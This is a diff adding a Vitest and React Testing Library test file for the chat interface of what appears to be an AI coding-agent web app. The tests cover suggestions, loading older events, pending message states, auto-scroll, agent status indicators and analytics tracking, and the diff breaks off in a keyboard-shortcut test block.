+  render,
+  screen,
+  waitFor,
+  within,
+} from "@testing-library/react";
+import { MemoryRouter, Route, Routes } from "react-router";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { renderWithProviders, useParamsMock } from "test-utils";
+import { SUGGESTIONS } from "#/utils/suggestions";
+import { ChatInterface } from "#/components/features/chat/chat-interface";
+import {
+  useConversationId,
+  useOptionalConversationId,
+} from "#/hooks/use-conversation-id";
+import { useErrorMessageStore } from "#/stores/error-message-store";
+import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store";
+import { useConfig } from "#/hooks/query/use-config";
+import { useUnifiedUploadFiles } from "#/hooks/mutation/use-unified-upload-files";
+import {
+  SecurityRisk,
+  type ActionEvent,
+  type MessageEvent,
+} from "#/types/agent-server/core";
+import { useEventStore } from "#/stores/use-event-store";
+import { useAgentState } from "#/hooks/use-agent-state";
+import { useLoadOlderEvents } from "#/hooks/use-load-older-events";
+import { useTaskPolling } from "#/hooks/query/use-task-polling";
+import { AgentState } from "#/types/agent-state";
+import { useConversationStore } from "#/stores/conversation-store";
+import { useGoalStore } from "#/stores/goal-store";
+import { act } from "@testing-library/react";
+
+const mockSend = vi.fn();
+vi.mock("#/hooks/use-send-message", () => ({
+  useSendMessage: () => ({ send: mockSend }),
+}));
+
+vi.mock("#/hooks/query/use-config");
+vi.mock("#/hooks/mutation/use-unified-upload-files");
+// Treat the LLM as configured by default so the "not configured" gate/banner
+// stays inert for these tests (its own behavior is covered elsewhere).
+vi.mock("#/hooks/use-llm-configured", () => ({
+  useLlmConfigured: () => ({ isConfigured: true, isLoading: false }),
+}));
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useConversationId: vi.fn(),
+  useOptionalConversationId: vi.fn(),
+}));
+
+vi.mock("#/hooks/use-user-providers", () => ({
+  useUserProviders: () => ({
+    providers: [],
+  }),
+}));
+
+vi.mock("#/hooks/use-conversation-name-context-menu", () => ({
+  useConversationNameContextMenu: () => ({
+    isOpen: false,
+    contextMenuRef: { current: null },
+    handleContextMenu: vi.fn(),
+    handleClose: vi.fn(),
+    handleRename: vi.fn(),
+    handleDelete: vi.fn(),
+  }),
+}));
+
+vi.mock("#/hooks/use-load-older-events", () => ({
+  useLoadOlderEvents: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-task-polling", () => ({
+  useTaskPolling: vi.fn(),
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+  useAgentState: vi.fn(() => ({
+    curAgentState: AgentState.AWAITING_USER_INPUT,
+  })),
+  usePlanningAgentState: vi.fn(() => ({
+    localPlanningConversationId: null,
+    curPlanningAgentState: AgentState.AWAITING_USER_INPUT,
+    isPlanningAgentRunning: false,
+  })),
+}));
+
+const trackInitialQuerySubmittedMock = vi.fn();
+const trackUserMessageSentMock = vi.fn();
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => ({
+    trackInitialQuerySubmitted: trackInitialQuerySubmittedMock,
+    trackUserMessageSent: trackUserMessageSentMock,
+  }),
+}));
+
+// Helper function to render with Router context
+const renderChatInterfaceWithRouter = () =>
+  renderWithProviders(
+    <MemoryRouter>
+      <ChatInterface />
+    </MemoryRouter>,
+  );
+
+// Helper function to render with QueryClientProvider and Router (for newer tests)
+const renderWithQueryClient = (
+  ui: React.ReactElement,
+  queryClient: QueryClient,
+  route = "/test-conversation-id",
+) =>
+  render(
+    <QueryClientProvider client={queryClient}>
+      <MemoryRouter initialEntries={[route]}>
+        <Routes>
+          <Route path="/:conversationId" element={ui} />
+          <Route path="/" element={ui} />
+        </Routes>
+      </MemoryRouter>
+    </QueryClientProvider>,
+  );
+
+beforeEach(() => {
+  useParamsMock.mockReturnValue({ conversationId: "test-conversation-id" });
+  vi.mocked(useConversationId).mockReturnValue({
+    conversationId: "test-conversation-id",
+  });
+  vi.mocked(useOptionalConversationId).mockReturnValue({
+    conversationId: "test-conversation-id",
+  });
+  vi.mocked(useTaskPolling).mockReturnValue({
+    isTask: false,
+    taskId: null,
+    conversationId: "test-conversation-id",
+    task: undefined,
+    taskStatus: undefined,
+    taskDetail: undefined,
+    taskError: null,
+    isLoadingTask: false,
+    repositoryInfo: {
+      selectedRepository: undefined,
+      selectedBranch: undefined,
+      gitProvider: undefined,
+    },
+  });
+  // Default: pagination disabled (hasMore=false) so unrelated tests don't
+  // accidentally trigger loadOlder via the on-mount auto-trigger effect.
+  // Tests that exercise pagination override this.
+  vi.mocked(useLoadOlderEvents).mockReturnValue({
+    isLoading: false,
+    hasMore: false,
+    loadOlder: vi.fn().mockResolvedValue(undefined),
+  });
+});
+
+describe("ChatInterface - Chat Suggestions", () => {
+  // Create a new QueryClient for each test
+  let queryClient: QueryClient;
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: {
+          retry: false,
+        },
+      },
+    });
+
+    vi.mocked(useTaskPolling).mockReturnValue({
+      isTask: false,
+      taskId: null,
+      conversationId: "test-conversation-id",
+      task: undefined,
+      taskStatus: undefined,
+      taskDetail: undefined,
+      taskError: null,
+      isLoadingTask: false,
+      repositoryInfo: {
+        selectedRepository: undefined,
+        selectedBranch: undefined,
+        gitProvider: undefined,
+      },
+    });
+
+    useOptimisticUserMessageStore.setState({
+      pendingMessages: [],
+    });
+
+    useErrorMessageStore.setState({
+      errorMessage: null,
+    });
+
+    (useConfig as unknown as ReturnType<typeof vi.fn>).mockReturnValue({
+      data: {},
+    });
+    (
+      useUnifiedUploadFiles as unknown as ReturnType<typeof vi.fn>
+    ).mockReturnValue({
+      mutateAsync: vi
+        .fn()
+        .mockResolvedValue({ skipped_files: [], uploaded_files: [] }),
+      isLoading: false,
+    });
+  });
+
+  test("should hide chat suggestions when there is a user message", () => {
+    const mockUserEvent: MessageEvent = {
+      id: "msg-1",
+      timestamp: "2025-07-01T00:00:00Z",
+      source: "user",
+      llm_message: {
+        role: "user",
+        content: [{ type: "text", text: "Hello" }],
+      },
+      activated_skills: [],
+      extended_content: [],
+    };
+
+    useEventStore.setState({
+      events: [mockUserEvent],
+      eventIds: new Set(["msg-1"]),
+      uiEvents: [mockUserEvent],
+    });
+
+    renderWithQueryClient(<ChatInterface />, queryClient);
+
+    // Check if ChatSuggestions is not rendered with user events
+    expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument();
+  });
+
+  test("should hide chat suggestions when there is an optimistic user message", () => {
+    useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+      conversationId: "test-conversation-id",
+      text: "Optimistic message",
+    });
+
+    renderWithQueryClient(<ChatInterface />, queryClient);
+
+    // Check if ChatSuggestions is not rendered with optimistic user message
+    expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument();
+  });
+
+  test("should hide chat suggestions while a cloud start task is provisioning", () => {
+    vi.mocked(useTaskPolling).mockReturnValue({
+      isTask: true,
+      taskId: "abc",
+      conversationId: null,
+      task: undefined,
+      taskStatus: "WORKING",
+      taskDetail: undefined,
+      taskError: null,
+      isLoadingTask: false,
+      repositoryInfo: {
+        selectedRepository: undefined,
+        selectedBranch: undefined,
+        gitProvider: undefined,
+      },
+    });
+
+    renderWithQueryClient(<ChatInterface />, queryClient, "/task-abc");
+
+    expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument();
+  });
+
+  test("should hide chat suggestions on a task route even when the task is READY", () => {
+    vi.mocked(useTaskPolling).mockReturnValue({
+      isTask: true,
+      taskId: "abc",
+      conversationId: null,
+      task: undefined,
+      taskStatus: "READY",
+      taskDetail: undefined,
+      taskError: null,
+      isLoadingTask: false,
+      repositoryInfo: {
+        selectedRepository: undefined,
+        selectedBranch: undefined,
+        gitProvider: undefined,
+      },
+    });
+
+    renderWithQueryClient(<ChatInterface />, queryClient, "/task-abc");
+
+    expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument();
+  });
+});
+
+describe("ChatInterface - Empty state", () => {
+  it.todo("should render suggestions if empty");
+
+  it("should render the default suggestions", () => {
+    renderChatInterfaceWithRouter();
+
+    const suggestions = screen.getByTestId("chat-suggestions");
+    const repoSuggestions = Object.keys(SUGGESTIONS.repo);
+
+    // check that there are at most 4 suggestions displayed
+    const displayedSuggestions = within(suggestions).getAllByRole("button");
+    expect(displayedSuggestions.length).toBeLessThanOrEqual(4);
+
+    // Check that each displayed suggestion is one of the repo suggestions
+    displayedSuggestions.forEach((suggestion) => {
+      expect(repoSuggestions).toContain(suggestion.textContent);
+    });
+  });
+});
+
+describe("ChatInterface - Scroll-up loads older events", () => {
+  let queryClient: QueryClient;
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+
+    useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+    useErrorMessageStore.setState({ errorMessage: null });
+
+    (useConfig as unknown as ReturnType<typeof vi.fn>).mockReturnValue({
+      data: {},
+    });
+    (
+      useUnifiedUploadFiles as unknown as ReturnType<typeof vi.fn>
+    ).mockReturnValue({
+      mutateAsync: vi.fn(),
+      isLoading: false,
+    });
+  });
+
+  afterEach(() => {
+    useEventStore.setState({
+      events: [],
+      eventIds: new Set(),
+      uiEvents: [],
+    });
+    vi.clearAllMocks();
+  });
+
+  // Helper: install a controllable mock of useLoadOlderEvents and seed the
+  // store with one renderable user message so the chat mounts a scroll area.
+  const setupPaginationTest = () => {
+    const loadOlder = vi.fn().mockResolvedValue(undefined);
+    vi.mocked(useLoadOlderEvents).mockReturnValue({
+      isLoading: false,
+      hasMore: true,
+      loadOlder,
+    });
+    const seedEvent: MessageEvent = {
+      id: "msg-seed",
+      timestamp: "2025-07-01T00:00:00Z",
+      source: "user",
+      llm_message: {
+        role: "user",
+        content: [{ type: "text", text: "Existing message" }],
+      },
+      activated_skills: [],
+      extended_content: [],
+    };
+    useEventStore.setState({
+      events: [seedEvent],
+      eventIds: new Set(["msg-seed"]),
+      uiEvents: [seedEvent],
+    });
+    return loadOlder;
+  };
+
+  // The auto-scroll-to-bottom hook schedules a rAF that does
+  // `dom.scrollTop = dom.scrollHeight`, which clobbers any value we set
+  // here before the test's event fires. Pin `scrollTop` as a stable
+  // getter so those assignments are no-ops.
+  const setScrollMetrics = (
+    el: HTMLElement,
+    metrics: { scrollTop: number; scrollHeight: number; clientHeight: number },
+  ) => {
+    Object.defineProperty(el, "scrollTop", {
+      configurable: true,
+      get: () => metrics.scrollTop,
+      set: () => {
+        /* swallow assignments from auto-scroll-to-bottom */
+      },
+    });
+    Object.defineProperty(el, "scrollHeight", {
+      configurable: true,
+      writable: true,
+      value: metrics.scrollHeight,
+    });
+    Object.defineProperty(el, "clientHeight", {
+      configurable: true,
+      writable: true,
+      value: metrics.clientHeight,
+    });
+  };
+
+  it("calls loadOlder when the user scrolls near the top", async () => {
+    const loadOlder = setupPaginationTest();
+    renderWithQueryClient(<ChatInterface />, queryClient);
+
+    const scrollContainer = document.querySelector(
+      "[data-testid='chat-scroll-container']",
+    ) as HTMLElement | null;
+    expect(scrollContainer).not.toBeNull();
+
+    // Pretend the user just scrolled near the top of an overflowing list.
+    setScrollMetrics(scrollContainer!, {
+      scrollTop: 0,
+      scrollHeight: 5000,
+      clientHeight: 800,
+    });
+    // Drop any on-mount auto-trigger so we exclusively assert the scroll path.
+    await new Promise((r) => {
+      setTimeout(r, 0);
+    });
+    loadOlder.mockClear();
+
+    fireEvent.scroll(scrollContainer!);
+
+    await new Promise((r) => {
+      setTimeout(r, 0);
+    });
+
+    expect(loadOlder).toHaveBeenCalledTimes(1);
+  });
+
+  it("auto-loads older events when the chat content does not overflow the viewport", async () => {
+    // No overflow ⇒ no scrollbar ⇒ user can't trigger loadOlder by
+    // scrolling. The component must auto-trigger via useEffect.
+    const loadOlder = setupPaginationTest();
+    renderWithQueryClient(<ChatInterface />, queryClient);
+
+    // Allow the on-mount auto-trigger useEffect to fire.
+    await new Promise((r) => {
+      setTimeout(r, 0);
+    });
+
+    expect(loadOlder).toHaveBeenCalled();
+  });
+
+  it("loads older events when the user wheels up while pinned at scrollTop=0", async () => {
+    // Overscroll-at-top: scrollTop is already 0 so the browser does not
+    // dispatch a scroll event. Wheel handler must catch this.
+    const loadOlder = setupPaginationTest();
+    renderWithQueryClient(<ChatInterface />, queryClient);
+
+    const scrollContainer = document.querySelector(
+      "[data-testid='chat-scroll-container']",
+    ) as HTMLElement | null;
+    expect(scrollContainer).not.toBeNull();
+
+    // Plenty of scrollable content overhead so the no-overflow branch
+    // doesn't claim the call — we want to exercise the wheel path.
+    setScrollMetrics(scrollContainer!, {
+      scrollTop: 0,
+      scrollHeight: 10000,
+      clientHeight: 800,
+    });
+
+    // Let any on-mount auto-trigger settle.
+    await new Promise((r) => {
+      setTimeout(r, 0);
+    });
+    loadOlder.mockClear();
+
+    // User is pinned at the top and wheels upward — no scroll event
+    // would fire here in a real browser.
+    fireEvent.wheel(scrollContainer!, { deltaY: -100 });
+
+    await new Promise((r) => {
+      setTimeout(r, 0);
+    });
+
+    expect(loadOlder).toHaveBeenCalledTimes(1);
+  });
+
+  it("shows an error banner if loading older events fails", async () => {
+    // This test exercises the real useLoadOlderEvents (so a rejected
+    // searchEvents propagates through to the chat's error banner).
+    // Override the global mock with the actual implementation.
+    const actualLoadOlderModule = await vi.importActual<
+      typeof import("#/hooks/use-load-older-events")
+    >("#/hooks/use-load-older-events");
+    vi.mocked(useLoadOlderEvents).mockImplementation(
+      actualLoadOlderModule.useLoadOlderEvents,
+    );
+
+    const seedEvent: MessageEvent = {
+      id: "msg-seed",
+      timestamp: "2025-07-01T00:00:00Z",
+      source: "user",
+      llm_message: {
+        role: "user",
+        content: [{ type: "text", text: "Existing message" }],
+      },
+      activated_skills: [],
+      extended_content: [],
+    };
+    useEventStore.setState({
+      events: [seedEvent],
+      eventIds: new Set(["msg-seed"]),
+      uiEvents: [seedEvent],
+    });
+
+    const useUserConversationModule =
+      await import("#/hooks/query/use-user-conversation");
+    vi.spyOn(useUserConversationModule, "useUserConversation").mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        conversation_url: "https://example.com",
+        session_api_key: "k",
+        conversation_version: "V1",
+      },
+      isLoading: false,
+      isPending: false,
+      isError: false,
+      error: null,
+      refetch: vi.fn(),
+    } as unknown as ReturnType<
+      typeof useUserConversationModule.useUserConversation
+    >);
+
+    const eventServiceModule =
+      await import("#/api/event-service/event-service.api");
+    vi.spyOn(eventServiceModule.default, "searchEvents").mockRejectedValue(
+      new Error("Older events request failed"),
+    );
+
+    renderWithQueryClient(<ChatInterface />, queryClient);
+
+    const scrollContainer = document.querySelector(
+      "[data-testid='chat-scroll-container']",
+    ) as HTMLElement | null;
+    expect(scrollContainer).not.toBeNull();
+
+    Object.defineProperty(scrollContainer!, "scrollTop", {
+      configurable: true,
+      writable: true,
+      value: 0,
+    });
+    Object.defineProperty(scrollContainer!, "scrollHeight", {
+      configurable: true,
+      writable: true,
+      value: 5000,
+    });
+
+    scrollContainer!.dispatchEvent(new Event("scroll", { bubbles: true }));
+
+    expect(
+      await screen.findByText("Older events request failed"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders renderable agent events even when the loaded window has no user message (so the user has something to scroll up from)", () => {
+    // Simulate the lazy-loaded "50 most recent" window landing in the
+    // store with only agent / environment events — the original user
+    // prompt is older than this window.
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    const agentAction: any = {
+      id: "act-1",
+      timestamp: "2025-07-01T00:00:10Z",
+      source: "agent",
+      kind: "ActionEvent",
+      action: {
+        kind: "ExecuteBashAction",
+        command: "ls",
+      },
+      tool_name: "terminal",
+      tool_call_id: "call-1",
+      tool_call: {
+        id: "call-1",
+        name: "terminal",
+        arguments: { command: "ls" },
+      },
+      llm_response_id: "resp-1",
+      thought: [],
+      reasoning_content: "",
+      thinking_blocks: [],
+    };
+
+    useEventStore.setState({
+      events: [agentAction],
+      eventIds: new Set(["act-1"]),
+      uiEvents: [agentAction],
+    });
+
+    renderWithQueryClient(<ChatInterface />, queryClient);
+
+    // The scroll container exists (so the user can scroll up to load older).
+    const scrollContainer = document.querySelector(
+      "[data-testid='chat-scroll-container']",
+    ) as HTMLElement | null;
+    expect(scrollContainer).not.toBeNull();
+
+    // ChatSuggestions should NOT take over the chat area when agent
+    // actions are present in the loaded window.
+    expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument();
+
+    // The Messages list should be rendered (the bug was that it was
+    // gated on `conversationUserEventsExist` and stayed hidden here,
+    // leaving a blank chat with nothing to scroll).
+    expect(scrollContainer!.children.length).toBeGreaterThan(0);
+  });
+});
+
+describe("ChatInterface - Pending message queue", () => {
+  let queryClient: QueryClient;
+
+  beforeEach(() => {
+    mockSend.mockReset();
+    queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+    useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+    useErrorMessageStore.setState({ errorMessage: null });
+    (useConfig as unknown as ReturnType<typeof vi.fn>).mockReturnValue({
+      data: {},
+    });
+    (
+      useUnifiedUploadFiles as unknown as ReturnType<typeof vi.fn>
+    ).mockReturnValue({
+      mutateAsync: vi
+        .fn()
+        .mockResolvedValue({ skipped_files: [], uploaded_files: [] }),
+      isLoading: false,
+    });
+    useEventStore.setState({
+      events: [],
+      eventIds: new Set(),
+      uiEvents: [],
+    });
+  });
+
+  afterEach(() => {
+    useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+  });
+
+  function submitMessage(text: string) {
+    // The chat input is a contenteditable div; the conversation store exposes
+    // `submittedMessage` which CustomChatInput watches and forwards to the
+    // ChatInterface's `onSubmit` handler. Driving that store directly is the
+    // most reliable way to simulate "the user pressed send" in jsdom.
+    act(() => {
+      useConversationStore.setState({ submittedMessage: text });
+    });
+  }
+
+  function renderInterface() {
+    render(
+      <QueryClientProvider client={queryClient}>
+        <MemoryRouter initialEntries={["/test-conversation-id"]}>
+          <Routes>
+            <Route path=":conversationId" element={<ChatInterface />} />
+          </Routes>
+        </MemoryRouter>
+      </QueryClientProvider>,
+    );
+  }
+
+  it("shows the message in 'sending' state immediately when submitted", async () => {
+    let resolveSend: ((value: unknown) => void) | undefined;
+    mockSend.mockImplementation(
+      () =>
+        new Promise((resolve) => {
+          resolveSend = resolve;
+        }),
+    );
+
+    renderInterface();
+    submitMessage("hello world");
+
+    const pendingMessage = await screen.findByTestId("user-message");
+    expect(pendingMessage).toHaveTextContent("hello world");
+    expect(pendingMessage).toHaveAttribute("data-pending-status", "sending");
+    expect(screen.getByTestId("chat-message-sending")).toBeInTheDocument();
+    expect(screen.queryByTestId("chat-message-retry")).not.toBeInTheDocument();
+
+    resolveSend?.({ queued: false });
+  });
+
+  it("flips the message to 'error' with a retry link when send rejects", async () => {
+    mockSend.mockRejectedValue(new Error("network down"));
+
+    renderInterface();
+    submitMessage("hello");
+
+    await waitFor(() => {
+      expect(screen.getByTestId("user-message")).toHaveAttribute(
+        "data-pending-status",
+        "error",
+      );
+    });
+    expect(screen.getByTestId("chat-message-error")).toBeInTheDocument();
+    expect(screen.getByTestId("chat-message-retry")).toBeInTheDocument();
+  });
+
+  it("queues multiple submitted messages, each with its own pending entry", async () => {
+    mockSend.mockResolvedValue({ queued: false });
+
+    renderInterface();
+    submitMessage("first");
+    submitMessage("second");
+
+    await waitFor(() => {
+      expect(screen.getAllByTestId("user-message")).toHaveLength(2);
+    });
+    const messages = screen.getAllByTestId("user-message");
+    expect(messages[0]).toHaveTextContent("first");
+    expect(messages[1]).toHaveTextContent("second");
+  });
+});
+
+describe("ChatInterface - Auto-scroll on submit (issue #817)", () => {
+  let queryClient: QueryClient;
+
+  beforeEach(() => {
+    mockSend.mockReset();
+    mockSend.mockResolvedValue({ queued: false });
+    queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+    useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+    useErrorMessageStore.setState({ errorMessage: null });
+    (useConfig as unknown as ReturnType<typeof vi.fn>).mockReturnValue({
+      data: {},
+    });
+    (
+      useUnifiedUploadFiles as unknown as ReturnType<typeof vi.fn>
+    ).mockReturnValue({
+      mutateAsync: vi
+        .fn()
+        .mockResolvedValue({ skipped_files: [], uploaded_files: [] }),
+      isLoading: false,
+    });
+    useEventStore.setState({
+      events: [],
+      eventIds: new Set(),
+      uiEvents: [],
+    });
+  });
+
+  afterEach(() => {
+    useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+  });
+
+  it("scrolls to bottom when a new prompt is submitted while the user is scrolled up", async () => {
+    // Arrange: render and grab the chat scroll container.
+    render(
+      <QueryClientProvider client={queryClient}>
+        <MemoryRouter initialEntries={["/test-conversation-id"]}>
+          <Routes>
+            <Route path=":conversationId" element={<ChatInterface />} />
+          </Routes>
+        </MemoryRouter>
+      </QueryClientProvider>,
+    );
+
+    const scrollContainer = document.querySelector(
+      "[data-testid='chat-scroll-container']",
+    ) as HTMLElement | null;
+    expect(scrollContainer).not.toBeNull();
+
+    // Let the mount-time auto-scroll rAF (which re-arms autoScroll=true)
+    // run and settle BEFORE the scroll-up sim. Otherwise that rAF would
+    // fire later and undo the autoScroll=false precondition for the bug.
+    await new Promise((r) => {
+      setTimeout(r, 0);
+    });
+
+    // Capture every scrollTop write so we can detect the rAF inside
+    // scrollDomToBottom landing `dom.scrollTop = dom.scrollHeight`.
+    const scrollWrites: number[] = [];
+    let scrollTopRead = 200;
+    Object.defineProperty(scrollContainer!, "scrollTop", {
+      configurable: true,
+      get: () => scrollTopRead,
+      set: (value: number) => {
+        scrollWrites.push(value);
+      },
+    });
+    Object.defineProperty(scrollContainer!, "scrollHeight", {
+      configurable: true,
+      writable: true,
+      value: 10000,
+    });
+    Object.defineProperty(scrollContainer!, "clientHeight", {
+      configurable: true,
+      writable: true,
+      value: 800,
+    });
+
+    // Simulate the user scrolling up: first event seeds prev=200, the
+    // second event at scrollTop=50 is detected as scrolling up and flips
+    // the hook's `autoScroll` to false (the precondition for the bug).
+    fireEvent.scroll(scrollContainer!);
+    scrollTopRead = 50;
+    fireEvent.scroll(scrollContainer!);
+    scrollWrites.length = 0;
+
+    // Act: submit a new prompt (same path InteractiveChatBox uses).
+    act(() => {
+      useConversationStore.setState({ submittedMessage: "hello" });
+    });
+
+    // Assert: scrollDomToBottom landed scrollHeight onto scrollTop even
+    // though autoScroll was off. Without the fix the auto-scroll effect
+    // would skip the call and `scrollWrites` would stay empty.
+    await waitFor(() => {
+      expect(scrollWrites).toContain(10000);
+    });
+  });
+
+  it("follows the live goal banner into view when an active goal advances", async () => {
+    vi.mocked(useOptionalConversationId).mockReturnValue({
+      conversationId: "test-conversation-id",
+    });
+    useGoalStore.setState({ statusByConversation: {} });
+
+    render(
+      <QueryClientProvider client={queryClient}>
+        <MemoryRouter initialEntries={["/test-conversation-id"]}>
+          <Routes>
+            <Route path=":conversationId" element={<ChatInterface />} />
+          </Routes>
+        </MemoryRouter>
+      </QueryClientProvider>,
+    );
+
+    const scrollContainer = document.querySelector(
+      "[data-testid='chat-scroll-container']",
+    ) as HTMLElement | null;
+    expect(scrollContainer).not.toBeNull();
+
+    // Let the mount-time auto-scroll settle; the user stays pinned to the
+    // bottom (autoScroll=true) since we never simulate a scroll-up.
+    await new Promise((r) => {
+      setTimeout(r, 0);
+    });
+
+    const scrollWrites: number[] = [];
+    Object.defineProperty(scrollContainer!, "scrollTop", {
+      configurable: true,
+      get: () => 9200,
+      set: (value: number) => {
+        scrollWrites.push(value);
+      },
+    });
+    Object.defineProperty(scrollContainer!, "scrollHeight", {
+      configurable: true,
+      writable: true,
+      value: 10000,
+    });
+    Object.defineProperty(scrollContainer!, "clientHeight", {
+      configurable: true,
+      writable: true,
+      value: 800,
+    });
+    scrollWrites.length = 0;
+
+    // Act: an in-progress goal advances — a store update only, with no change
+    // to `renderableEvents` (in-progress goal events are filtered out).
+    act(() => {
+      useGoalStore.getState().setStatus("test-conversation-id", {
+        active: true,
+        status: "running",
+        iteration: 1,
+        max_iterations: 10,
+        objective: "make pytest pass",
+        verdict: { score: 0.5, complete: false, missing: "needs tests" },
+      });
+    });
+
+    // Assert: the bottom-following effect scrolled the banner into view.
+    // Without wiring the active goal status into that effect, scrollWrites
+    // would stay empty.
+    await waitFor(() => {
+      expect(scrollWrites).toContain(10000);
+    });
+  });
+});
+
+describe("ChatInterface - Status Indicator", () => {
+  it("shows the unresolved terminal action while the agent is running", () => {
+    const terminalAction: ActionEvent = {
+      id: "action-running-terminal",
+      timestamp: "2026-07-27T18:00:00Z",
+      source: "agent",
+      thought: [],
+      thinking_blocks: [],
+      action: {
+        kind: "TerminalAction",
+        command: "git status",
+        is_input: false,
+        timeout: null,
+        reset: false,
+      },
+      tool_name: "terminal",
+      tool_call_id: "tool-running-terminal",
+      tool_call: {
+        id: "tool-running-terminal",
+        type: "function",
+        function: {
+          name: "terminal",
+          arguments: '{"command":"git status"}',
+        },
+      },
+      llm_response_id: "response-running-terminal",
+      security_risk: SecurityRisk.LOW,
+    };
+    useEventStore.setState({
+      events: [terminalAction],
+      eventIds: new Set([terminalAction.id]),
+      uiEvents: [terminalAction],
+    });
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: AgentState.RUNNING,
+    });
+
+    renderChatInterfaceWithRouter();
+
+    const chip = screen.getByTestId("live-activity-chip");
+    expect(chip).toHaveTextContent("ACTION_MESSAGE$RUN");
+    expect(chip.parentElement).toHaveClass("inset-x-9");
+  });
+
+  it("hides the live activity chip when the agent is no longer running", () => {
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: AgentState.PAUSED,
+    });
+
+    renderChatInterfaceWithRouter();
+
+    expect(screen.queryByTestId("live-activity-chip")).not.toBeInTheDocument();
+  });
+
+  it("should render ChatStatusIndicator when agent is not awaiting user input / conversation is NOT ready", () => {
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: AgentState.LOADING,
+    });
+
+    renderChatInterfaceWithRouter();
+
+    expect(screen.getByTestId("chat-status-indicator")).toBeInTheDocument();
+  });
+
+  it("should NOT render ChatStatusIndicator when agent is awaiting user input / conversation is ready", () => {
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: AgentState.AWAITING_USER_INPUT,
+    });
+
+    renderChatInterfaceWithRouter();
+
+    expect(
+      screen.queryByTestId("chat-status-indicator"),
+    ).not.toBeInTheDocument();
+  });
+});
+
+describe("ChatInterface - Tracking", () => {
+  let queryClient: QueryClient;
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+    mockSend.mockResolvedValue({ queued: false });
+    queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+    useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+    useErrorMessageStore.setState({ errorMessage: null });
+    (useConfig as unknown as ReturnType<typeof vi.fn>).mockReturnValue({
+      data: {},
+    });
+    (
+      useUnifiedUploadFiles as unknown as ReturnType<typeof vi.fn>
+    ).mockReturnValue({
+      mutateAsync: vi
+        .fn()
+        .mockResolvedValue({ skipped_files: [], uploaded_files: [] }),
+      isLoading: false,
+    });
+    useEventStore.setState({ events: [], eventIds: new Set(), uiEvents: [] });
+  });
+
+  function renderInterface() {
+    render(
+      <QueryClientProvider client={queryClient}>
+        <MemoryRouter initialEntries={["/test-conversation-id"]}>
+          <Routes>
+            <Route path=":conversationId" element={<ChatInterface />} />
+          </Routes>
+        </MemoryRouter>
+      </QueryClientProvider>,
+    );
+  }
+
+  it("calls trackInitialQuerySubmitted when the first message is sent (empty conversation)", async () => {
+    renderInterface();
+
+    act(() => {
+      useConversationStore.setState({ submittedMessage: "my first task" });
+    });
+
+    await waitFor(() => {
+      expect(trackInitialQuerySubmittedMock).toHaveBeenCalledWith(
+        expect.objectContaining({
+          queryCharacterLength: "my first task".length,
+        }),
+      );
+    });
+  });
+
+  it("calls trackUserMessageSent when a follow-up message is sent (non-empty conversation)", async () => {
+    // totalEvents = uiEvents.filter(shouldRenderAgentServerEvent).length.
+    // A MessageEvent (has llm_message.role + content) passes that filter,
+    // so seeding uiEvents with one makes totalEvents = 1.
+    useEventStore.setState({
+      events: [],
+      eventIds: new Set(),
+      uiEvents: [
+        {
+          id: "e1",
+          source: "user",
+          llm_message: { role: "user", content: "prior message" },
+        } as never,
+      ],
+    });
+
+    renderInterface();
+
+    act(() => {
+      useConversationStore.setState({ submittedMessage: "follow-up" });
+    });
+
+    await waitFor(() => {
+      expect(trackUserMessageSentMock).toHaveBeenCalledWith(
+        expect.objectContaining({
+          currentMessageLength: "follow-up".length,
+        }),
+      );
+    });
+    expect(trackInitialQuerySubmittedMock).not.toHaveBeenCalled();
+  });
+});
+
+describe("ChatInterface - Build plan keyboard shortcut", () => {
+  let queryClient: QueryClient;
+
+  const BUILD_PROMPT =
+    "Execute the plan based on the .agents_tmp/PLAN.md file.";
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+    mockSend.mockResolvedValue({ queued: false });
+    queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+    useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+    useErrorMessageStore.setState({ errorMessage: null });
+    (useConfig as unknown as ReturnType<typeof vi.fn>).mockReturnValue({
+      data: {},
+    });
+    (
+      useUnifiedUploadFiles as unknown as ReturnType<typeof vi.fn>
+    ).mockReturnValue({
+      mutateAsync: vi
+        .fn()
+        .mockResolvedValue({ skipped_files: [], uploaded_files: [] }),
+      isLoading: false,
+    });
+    useEventStore.setState({ events: [], eventIds: new Set(), uiEvents: [] });
+  });
+
+  function renderInterface() {
+    render(
+      <QueryClientProvider client={queryClient}>
+        <MemoryRouter initialEntries={["/test-conversation-id"]}>
+          <Routes>
+            <Route path=":conversationId" element={<ChatInterface />} />
+          </Routes>
+        </MemoryRouter>
+      </QueryClientProvider>,
+    );
+  }
+
